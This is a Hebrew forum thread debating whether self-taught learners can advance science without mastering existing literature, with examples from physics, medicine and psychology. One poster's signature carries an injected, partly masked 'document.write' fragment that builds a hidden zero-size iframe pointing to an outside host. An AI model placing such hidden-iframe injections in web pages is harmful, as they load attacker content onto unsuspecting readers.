עצבן אותי האוטודידאקט!

ברוך שעשה לי נס במקום הזה

חלקתי על מיכי ולא מחקו אותי.

חכמה גדולה, מיכי לא מנהל משנה. תנסה לחלוק על מואדיב ותעוף מיד החוצה.

חלקתי ולא עפתי
למה חייבים בכל רחבי הפורום לערב דעות ברגשות?

חלקתי ונושעתי...

יש משהו מוזר בעמוד הזה בדפדפן שלי. הוא מופיע הפוך.

בכל אופן, לשאלה אם "אפשר להתחיל את הפיזיקה מחדש". איני שולל את זה שניתן לערער על הנחות יסוד של הפיזיקה. כפי שניוטון דחה את חלוקת המרחב לשטחים מיוחסים של אריסטו, כך הציע איינשטיין לומר שמסה ואנרגיה יכולים להתבאר על ידי משתנה אחד ונוסחה המקשרת ביניהן.

יתכן שיכולות להיות מהפכות דומות. אין לי כלים אפילו לדמיין מה תוכנן של מהפכות אלו.

זו בדיוק הנקודה. מי שירצה לחולל מהפכה, יוכל לעשות זאת רק לאחר לימוד בן שנים של החומר הקיים (ולשם כך צריך הרבה מתמטיקה) ורק מתוך החומר הקיים, כלומר על ידי הכרתו, שלילת הנחה או הנחות בתוכו, והחלפתן באחרות.

הפיזיקה החדשה, אם תהיה, תיבנה מתוך הקודמת ולא מ"ההתחלה".

לפיכך, אין מנוס מהשקעה רבתי ברכישת ידע מוקדם.

את הידע הזה ניתן לרכוש באופן עצמאי. מי שיש לו זמן, גישה לספרים, ידע באנגלית, ויכול ללמוד ללא מורה מתמטיקה ופיזיקה, יוכל להגיע ליכולות כאלו. אבל זה עדיין נראה פרוייקט קשה מאד להשגה.

מי שמנסה לרכוש ידע בלי להעזר בידע הקיים במאגרים הנמצאים בספרים ובמוסדות אקדמיים עתיד לבזבז זמן רב על בירור דברים שכבר התבררו והם זמינים למי שמוותר על האוטודידקטיה.

***

לאחר שכתבתי את הדברים האלו וחשבתי שוב על השאלה היסודית: מה החסרון בלהיות אוטודידקט, סבורני שראוי לבחון מחדש את שני המצבים: אוטודידקט מול מי שלומד את החומר האקדמי (אקדמי או מחקרי, בהעדר מונח אחר בינתים).

בוודאי שלא באתי לשלול את הערך של כשרונות והשקעה עצמית. אי אפשר להתקדם באיזה תחום בלי רצון להבין אותו (ולא אנסה להגדיר מהי הבנה ואסתמך על כך שהיא שונה מדקלום וציטוט).

החסרון של אוטודידקט בציבור שלנו, החרדי, הוא שיש כאלו שמנסים להתמודד עם מצבים ושאלות שהושקע בהן הרבה מאד על ידי רבים ומומחים, שיש כבר חומר לימודי קיים. מי שינסה לעקוף את המערכת כדי להתחיל מעצמו קודם כל יבזבז זמן ואז הוא עלול, עם כל כשרונותיו, לא להכיר יסודות שהעדרם מטיל צל על כל תיאוריה שינסה להציג.

למעשה, אחד הדברים שעלולים להיות חסרים הוא העדר תיאוריה. כפי שכתבתי בכמה מקומות, הבדל בין הידע המדעי בימי חז"ל לבין זמננו הוא הצורך לעגן השערה פרטית לגבי חוק טבע בתוך מסגרת תיאורטית. בימי הרמב"ם החשיבות של ידע תיאורטי גדלה והולכת. אולם כאשר הרמב"ם מדווח על האופן שבו ניצלים מהידבקות בכלבת, הוא מציין שפתרון שיש לו עובד רק אם האדם ראה את הכלב והכלב ראה אותו והם לא נגעו זה בזה. היום אנו יודעים שכלבת אינה עוברת באויר ולכן ה"הצלה" אינה אלא העדר הידבקות. לנו יש תיאוריה שונה לגבי האופן שבו עוברות מחלות.

נכון שגם במדע מודרני, וגם ברפואה, יש תגליות של דברים שעובדים שטרם שובצו בתיאוריה מתאימה. אבל אנו לפחות יודעים על הצורך במציאת תיאוריה כזו ועובדים לחפש אחריה.

הצורך הזה עלול להעדר אצל האוטודידקט, וחסרונו יזיק.

(חוששני שבגלל שכתבתי מהר הארכתי במקום שאפשר היה להסביר ביתר קיצור. סליחה).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

מימוני,

מ

סבורני שהמשל שלך מתאים למי שעוסק בחינוך עצמי, כמו בישיבה או, להבדיל, במנזר זן. זה פחות מתאים למחקר אקדמי במדעי הטבע.

אלא אם כן כוונתך למה שכבר הזכרתי, שלילה של הנחת יסוד המתבצעת בתוך השיטה.

מסתבר שיש כאן מקום להזכיר את דברי רבנו תומס קון ע"ה, בעל מחבר "המבנה של מהפכות מדעיות". המדע מתקדם מפרדיגמה לפרדיגמה. יש דגם שיטתי שנחשב למילה האחרונה - והיחידה - בתחום מחקר כלשהו. המומחים יגיבו בעוינות למי שיציע דגם חדש. זה דומה, אני משער, לגן המבוכה שלך שבו כבר רגילים לדרך אחת ולא לאחרות. המומחה צריך להתייגע ולהשקיע ולא להתייאש עד שדבריו יישמעו ויתנו סיכוי להחלפת הפרדיגמה.

אך דוק: אפילו באופן כזה, שרוצים לעקור דגם קודם כמעט מן השורש, כלומר להחליף הרבה יותר הנחות יסוד, זה לא יוכל להתבצע בדרך כלל אלא על ידי התחברות לדגם הקודם, הסבר במה הוא שגוי, והצעת תחליף.

קיצורו של דבר: גם אם יש נושאי מחקר ולימוד שבהם יאות המשל של גן הלימוד ושל הדרכים שביער שצריך לחפש ביניהן חדשות, מספרם של אלו קטן מאד.

אולי כדאי לנסות להביא דוגמאות כדי להראות מתי זה שייך ומתי לא מה גם שכל מה שכתבתי עד כה תיאורטי, מופשט, ולכן יש לי תחושה שזה לא ברור.

הנה כמה דוגמאות:

א. פיזיקה. החלפת הגישה האריסטוטלית בניוטונית. כאן, במבט לאחור, לא היה צריך ללמוד את אריסטו כדי לדעת שטעה. יישום כלים מתמטיים לתצפיות בטכנולוגיה שהתחדשה סלל את הדרך לניוטון. לפחות לפי מה שידוע לי.

ב. פיזיקה. החלפת הדגם של ניוטון בזה של איינשטיין. איינשטיין ודאי למד את הפיזיקה הניוטונית, וניסה להציע דגם יותר פשוט ויותר אחדותי.

יש גם התקדמויות ופריצות דרך שנובעות מן ההשתדלות לתאם בין שני תחומי מדע, כמו שהצליחו לעשות רדוקציה של הפיזיקה של הטמפרטורה לפיזיקה של התנועה (אני מצטער שאיני מסביר טוב יותר. הרי זה לא התחום שלי). כאן ודאי ההתקדמות נעשתה רק מתוך הכרת שני התחומים.

שוב, הדוגמאות האלו אינן מחייבות שהלומד ישב באוניברסיטה. אבל עליו להכיר את הספרות הקיימת בתחום.

ג. לו יצוייר שמישהו היה מציע רפואה אלטרנטיבית בסגנון של פעם, לעזור לגוף לרפא את עצמו במקום להכניס לו חומרים מבחוץ. במקרה של דלקת חיידקית בדרכי הנשימה, לחזק את הגוף במקום לתת אנטיביוטיקה. זו פרדיגמה שונה של טיפול רפואי ולכן כאן אפשר לבנותה בלי ללמוד, לכאורה, את אותו חלק של הרפואה שעוסק בחיידקים ובאנטיביוטיקה. כיון שאיני בקיא בכל זאת, איני יודע לומר באיזו מידה הצעה כזו יכולה להופיע בלי לימוד של ספרות המחקר הקיימת.

דוגמא מעשית יותר: שימוש בדיקור סיני. האם המשתמש בדיקור צריך ללמוד רפואה "שלנו"? יתכן שזו פרדיגמה עצמאית שאינה תלויה ברפואה הקיימת ולכן ניתן ללמוד אותה ולחדש בה. למשל, מתוך הנחה שיש קשר גוף-נפש וכי מרכזי הדיקור מאפשרים לפתור את הבעיה ברמה ההיא. בדומה לזה, איבחון על פי גלגל העין.

אולי זה דומה יותר לדוגמא של הדרכים החלופיות ביער של מ80.

ד. בטיפול תראפויטי בפסיכולוגיה, ניתן לטפל בשיטת פרויד (לחפש טראומות ולהביא למודעות) או בשיטה הקוגניטיבית. יתכן שפקולטות לפסיכולוגיה יעמידו תנאי לתואר: ללמוד את תורת פרויד כתנאי לפני שלומדים את השיטה החדשה יותר. אך נראה ששתי הגישות אינן תלויות זו בזו. ולפיכך, המעבר לדגם הקוגניטיבי אינו כרוך בהכרת אותו חלק של הספרות המקצועית בפסיכולוגיה ואדרבה, הכרתו רק תבלבל ותטעה את הלומד.

מתבקש אם כן לטעון שבמדעי הטבע דרושה הכרת המחקר (אם כי אדם יכול לנסות ללמוד אותה לבדו) ובמדעי החברה ובמיוחד בפסיכולוגיה זה פחות הכרחי. הדברים עדיין צריכים לדעתי בירור רב. ובין השאר, כדאי להתמקד בשאלה מה הידע המוקדם הדרוש כדי להציע "דרך חלופית ביער" ואיזה דגם לשינוי מתאים יותר, הדרך החלופית של מ80 או הדגם של קומה חדשה במדעי הטבע, או אפילו החלפת של הנחת יסוד אך רק מתוך הכרת החומר הקודם.

אני מקוה שהדוגמאות הבהירו מפני מה הרעיון של מ80 על העלאת תיאוריות שאינן קשורות לספרות המקצועית הקיימת הוא נכון אבל מוגבל למקרים מסויימים למדי.

***
אנסה לנסח זאת מחדש קצר יותר:

יש דרך לימוד המקובלת בעולם האקדמי והמקצועי (מחקר, יישום טכנולוגי, יישום תראופיטי).

יש כאן עכשו שני יוצאים מן הכלל, וצריך לבדוק אם הם אפשריים וכדאיים.

1. לימוד של החומר הקיים באופן עצמאי. ניתן לכנות זאת "אוטודידקט".

2. פיתוח של דגמים מדעיים חדשים (כמו שהדגם של ניוטון החליף את של אינשטין). או פיתוח של דגם טיפול רפואי על ידי דיקור כתחליף לרפואה קונוונציונלית.

נכון שהיה עידן שבו פרחו אוטודידקטים וחושבים עצמאיים שפרצו דרכים. ניוטון היה כזה. אבל היום זה פשוט לא עובד - ברוב המקרים.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

מיימוני,

מ היקר והסבלן

אך הפעם תמה אני על דוגמאותיך.

ועם כל זאת, אם אבוא לדון בהן, מעבר לדחיפות לפעולה ולהתנגדות לשקר שמצויה בהן, דומני שהן עדיין לא יצדיקו את טענתך...

כך:

אברהם ידע את האמת. מסתבר שלא היה יכול להוכיח לעובד אלילים שהוא טועה על ידי כך שיהיה בקיא באלילות שלו.

משה רבנו היה צריך להוציא משיעבוד וסבל מצרים מה שיותר מהר את עם ישראל. זה היה זמן לפעולה ולא לדיון תיאורטי האם מבחינה מוסרית, נניח, חייב העבד לשרת את רבו ולשאת באהבה כל מה שנעשה לו ולא להתמרד ולברוח.

אבל

כדי להוכיח שהאלילות שקרית צריך הוכחות, כמו בכל תחום. האם הוכחות אלו נזקקות להכרת האלילות? תלוי אלו הוכחות... דרך אחת היא להראות שהאלילים הם חלק מן המציאות ומותנים על ידה. לא צריך לדעת בדיוק מה היחס בין האליל זאוס לבין אביו (ראשי האלים של יוון היו זקוקים לשחוט אליל את אביו כדי להשתחרר מהם) כדי להסביר שזו דת שקר. אבל צריך להבין יותר ממשהו במחקר הדתות או בפילוסופיה. (וזה תלוי כיצד אנו רואים את החידוש של אברהם וכיצד הגיע לדת האמת).

כמו כן, כדי להוכיח לאליליים שהם טועים צריך חכמה רבה ואולי גם ידע בשיטותיהם. צריך לדעת איך מדברים עם האויל.

ובאשר לנידון של משה ויציאת מצרים - כפי שהוכיחה ההיסטוריה של 40 השנים הבאות, צריך היה לא רק להוציא את עם ישראל ממצרים, אלא להוציא את מצרים מעם ישראל.

אבל בלי התחכמות זו שלי, עדיין שתי הדוגמאות שלך אינן לקוחות מתחום המדע, שבו האוטודידקט אינו פותח דרך חדשה בשממה או ביער, אלא ממשיך את הידע הקיים בעל הערך. על הדוגמאות האלו דובר לעיל, הלא כן?

בתחומים שבהם יש טעות גדולה עקרונית אכן אין צורך לבזבז זמן על הטעות. למשל, מי שלומד כימיה אינו צריך ללמוד את תולדות האלכימיה ואת תורת היסודות של אריסטו (אנו סבורים שהעולם בנוי מכמאה יסודות שמופיעים בטבלת מנדלייב ולא מתמהילים של ארבעת היסודות של אריסטו). אבל זה לא שמי שלומד כימיה אין לו הרבה מה ללמוד כדי שיוכל לעסוק בתחום...

כמובן, אם יימצאו תחומים שבהם אין ידע קודם, דברי בטלים ומבוטלים. אולם היה דומה בעיני שהאשכול פתח או הגיע לדיון על הנסיון של אוטודידטקים לדון בתחומים שבהם הכרת הספרות המקצועית תורמת וחוסכת זמן. לא על תחומים שגויים מעיקרא.

מן הראוי לצרף לרשימה הקצרה שלי מהתגובה הקודמת שלי את הסעיף הבא, בהתאם לדבריך:

יוצא דופן נוסף:

3. תחומים שבהם יש טעות יסודית במסורת המקצועית כביכול ובהם חבל לבזבז זמן על לימוד אלא יש לגשת היישר לבירור האמת או למסקנות מעשיות.

כדבריך וכדוגמאותיך.

____תיקוני שפה והבהרה_____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

מיימוני,

מ יקירי

יש כאן הנחה אחת ושתי שאלות.

לגבי מסכת עבודה זרה של א"א, זו הנחה שאין לה מקור בפסוק. אם אמרו חז"ל על מסכת עבודה זרה של אברהם אבינו שהיתה והיא כזו וכזו, אזי צריך לעיין במדרש כי איני יודע מה כוונתו. יש כמובן אפשרויות אבל עד שלא אראה לא אדע (ומי יודע אם אחר כך יסתייע הדבר). בכל אופן, ממה שאני מבין אין זה שייך לענייננו.

שאלת